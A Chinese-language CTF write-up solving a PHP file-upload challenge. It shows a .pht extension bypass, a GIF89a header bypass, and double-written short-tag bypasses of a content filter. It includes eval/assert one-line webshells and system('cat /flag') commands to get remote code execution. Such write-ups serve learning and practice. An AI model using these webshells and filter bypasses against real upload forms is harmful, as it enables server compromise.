前言
又是一道没有名称、未知来源的题目,依然是从qq群里看到的,感觉可以做,也成功拿到了flag,不过过程还是有一点点曲折的所以记录一下。
太长不看
上传时:
会检测文件后缀名,但好像只是php不行,可以用pht绕过;会检测文件头,可以用GIF89a绕过。
上传后:
上传的文件中的内容也会被过滤,<?和php会被过滤,可以用双写和短标签来绕过。
不知道为什么用蚁剑连接不了,于是在浏览器实现RCE。
解题过程
1.上传php文件看返回
首先上传一个里面有一句话木马的php文件看看是什么返回,得知是要求上传的文件是图片格式(那么,它是看后缀还是类型还是文件头呢
2.获知能上传成功的条件
试了一下文件后缀是jpg,Content-Type为image/jpeg的情况,返回“文件不符合要求”,考虑可能检测了文件头,所以接下来又添加了GIF89a。
1)只是类型和后缀是图片也不行:
2)添加文件头后又提示要求大小在20k-100k:
3)为了满足文件大小的要求,去找了个大小在100k以内的gif上传,因为是正常图片且大小符合要求,上传成功,响应包中返回了文件所在路径,可以看到上传成功的文件的文件名会被修改成在原文件名的前面加一串随机数的形式,所以依据我目前的知识储备,我认为上传jpg再上传.htaccess的方法在这里行不通,因为上传后的文件名变了。
不过,在群里问这道题的人,当时说了可以用pht的后缀。
所以接下来,将上面能成功上传gif图片的请求包放到repeater中,将请求包里的filename修改为111.pht,并在GIF89a后面添加一句话木马<?php eval($_POST['111']);?>
。发送修改后的请求包,响应包显示上传成功,并返回了文件所在路径,但是尝试用蚁剑连接时,提示“返回数据为空”……
其实在群里问题的人也提到“里面的一句话不执行”。
3.绕过对上传文件内容的过滤
因为是在qq群里看到的题,截图就只有做题过程中保留在burp里的内容了,靶机已经过期啦,也就无法再在浏览器端截取探索过滤情况的过程了,所以就简单描述一下吧。
当时想到,如果在上传的.pht中有<?php phpinfo();?>
的话,那么在浏览器访问已经上传成功的文件会显示phpinfo的内容,所以就从burp里修改了一句话为<?php phpinfo();?>
后重发请求包,得到文件路径后,从浏览器访问发现回显的是文件内容本身,而不是phpinfo或图片,而且原本是<?php phpinfo();?>
的一句话只剩下了info();?>
,可以知道是<?和php被过滤了,这也就解释了为什么之前文件上传成功了但蚁剑无返回数据。
对于题目对文件内容中的<?和php的过滤用双写绕过即可,<?php
里的php可以用=代替。
总之,在文件中写<<??=pphphpinfo();?>
上传成功后再访问,可以看到phpinfo的回显。
4.实现RCE
在上传文件中添加一句话木马<<??=eval($_POST[1]);?>
上传成功后尝试用蚁剑连接还是提示“返回数据为空”,所以决定去尝试能不能直接在浏览器端实现RCE。
借助hackbar插件发送post参数,先试了一下1=phpinfo();
,发现在<<??=eval($_POST[1]);?>
所在位置回显了字符串phpinfo();,说明这里接收到了post参数但仅仅是把phpinfo();作为字符串接收,并不能执行。
感觉可能是这里不能用eval,还知道一个能将字符串作为php代码执行的函数是assert,所以就把eval换成了assert,也就是一句话使用<<??=assert($_POST[1]);?>
,再传参1=phpinfo();
,发现能回显phpinfo的内容了,说明这里的assert函数能将字符串作为php代码执行。再把传参修改为1=system('ls /');
发现可以回显出根目录的文件,可以看到有一个叫flag的文件,进而可以把传参修改为1=system('cat /flag');
拿到 flag。
最终的payload
上传的文件内容:
post传参列出根目录文件:
post传参回显出flag:
结尾碎碎念
因为没有系统地学过PHP语言和CTFweb方向的命令执行类题目解法,做这道题主要是靠之前做的为数不多的题目的积累,所以文中的描述如果有不准确之处,欢迎各位师傅指正。以及,比较奇怪为什么蚁剑连接会没有返回数据,不过忘记最后拿到flag之后有没有再用蚁剑试一试了,貌似是试了发现还是没有返回数据。